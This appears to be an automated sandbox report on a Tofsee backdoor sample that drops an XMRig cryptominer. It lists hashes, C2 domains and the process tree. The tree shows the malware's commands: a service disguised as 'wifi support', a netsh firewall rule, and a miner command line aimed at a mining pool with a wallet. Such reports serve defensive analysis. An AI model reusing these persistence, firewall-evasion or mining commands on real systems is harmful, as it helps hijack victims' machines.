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Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/12/2022, 02:06

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General

  • Target

    file.exe

  • Size

    214KB

  • MD5

    3d0bc7f66285e2f25ebad65acaef20c9

  • SHA1

    25e5fb81ea1477e48a139faf7df4aecf31c0a6e5

  • SHA256

    ff1135e415ff51c850194f1191636b46e0a39f670a2290b17dde81f2e0e2117f

  • SHA512

    f498d0cd13ce0ed952ca636b1043df72bfb08d372398e7fd1e191b53968f58c3638fb3464b24b161cc571579e9955fdb99c1040bf7ac6c22d00247dbb5bad134

  • SSDEEP

    3072:RsXp5UL+HJHPaTRBx3ZzXgLsNJhNSoDEgPYV89uN4LszAInu40zwUzQRKF+:GYL+HJMFXgQzfZpYV89uN4gzo40M2b

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nvaoqnul\
      2⤵
        PID:2348
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gwpnktaz.exe" C:\Windows\SysWOW64\nvaoqnul\
        2⤵
          PID:4908
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nvaoqnul binPath= "C:\Windows\SysWOW64\nvaoqnul\gwpnktaz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2280
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nvaoqnul "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3528
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nvaoqnul
          2⤵
          • Launches sc.exe
          PID:1580
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5080
      • C:\Windows\SysWOW64\nvaoqnul\gwpnktaz.exe
        C:\Windows\SysWOW64\nvaoqnul\gwpnktaz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1400
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4168
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2696

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\gwpnktaz.exe
        Filesize

        10.7MB

        MD5

        b5daae704da333d0e83cfb45029434d1

        SHA1

        ee6300b8a96dabdefab3d59ed90ab7ad784f9e8e

        SHA256

        ee3875059700d36f2b7092ca86d436790fe86e2960770e0d687e3921b0001890

        SHA512

        ce55139edf984ee6b2769b123306dea6129c92d97aac92ba15a9f003803b7992fc178cf4a45b22312ee4c1df9d35e970fbb7a16e932a79437a26c89eef93ab13

        Download Submit

      • C:\Windows\SysWOW64\nvaoqnul\gwpnktaz.exe
        Filesize

        10.7MB

        MD5

        b5daae704da333d0e83cfb45029434d1

        SHA1

        ee6300b8a96dabdefab3d59ed90ab7ad784f9e8e

        SHA256

        ee3875059700d36f2b7092ca86d436790fe86e2960770e0d687e3921b0001890

        SHA512

        ce55139edf984ee6b2769b123306dea6129c92d97aac92ba15a9f003803b7992fc178cf4a45b22312ee4c1df9d35e970fbb7a16e932a79437a26c89eef93ab13

        Download Submit

      • memory/1400-149-0x000000000077E000-0x000000000078F000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1400-150-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

        Download

      • memory/2228-144-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

        Download

      • memory/2228-143-0x0000000000483000-0x0000000000494000-memory.dmp

        Filesize

        68KB

        Download

      • memory/2228-134-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

        Download

      • memory/2228-132-0x0000000000483000-0x0000000000494000-memory.dmp

        Filesize

        68KB

        Download

      • memory/2228-133-0x00000000005F0000-0x0000000000603000-memory.dmp

        Filesize

        76KB

        Download

      • memory/2696-177-0x0000000000880000-0x0000000000971000-memory.dmp

        Filesize

        964KB

        Download

      • memory/2696-172-0x0000000000880000-0x0000000000971000-memory.dmp

        Filesize

        964KB

        Download

      • memory/4168-146-0x0000000000750000-0x0000000000765000-memory.dmp

        Filesize

        84KB

        Download

      • memory/4168-151-0x0000000000750000-0x0000000000765000-memory.dmp

        Filesize

        84KB

        Download

      • memory/4168-152-0x0000000000750000-0x0000000000765000-memory.dmp

        Filesize

        84KB

        Download

      • memory/4168-153-0x0000000002600000-0x000000000280F000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/4168-156-0x0000000001DD0000-0x0000000001DD6000-memory.dmp

        Filesize

        24KB

        Download

      • memory/4168-159-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/4168-162-0x00000000029E0000-0x00000000029E5000-memory.dmp

        Filesize

        20KB

        Download

      • memory/4168-165-0x0000000007500000-0x000000000790B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/4168-168-0x00000000029F0000-0x00000000029F7000-memory.dmp

        Filesize

        28KB

        Download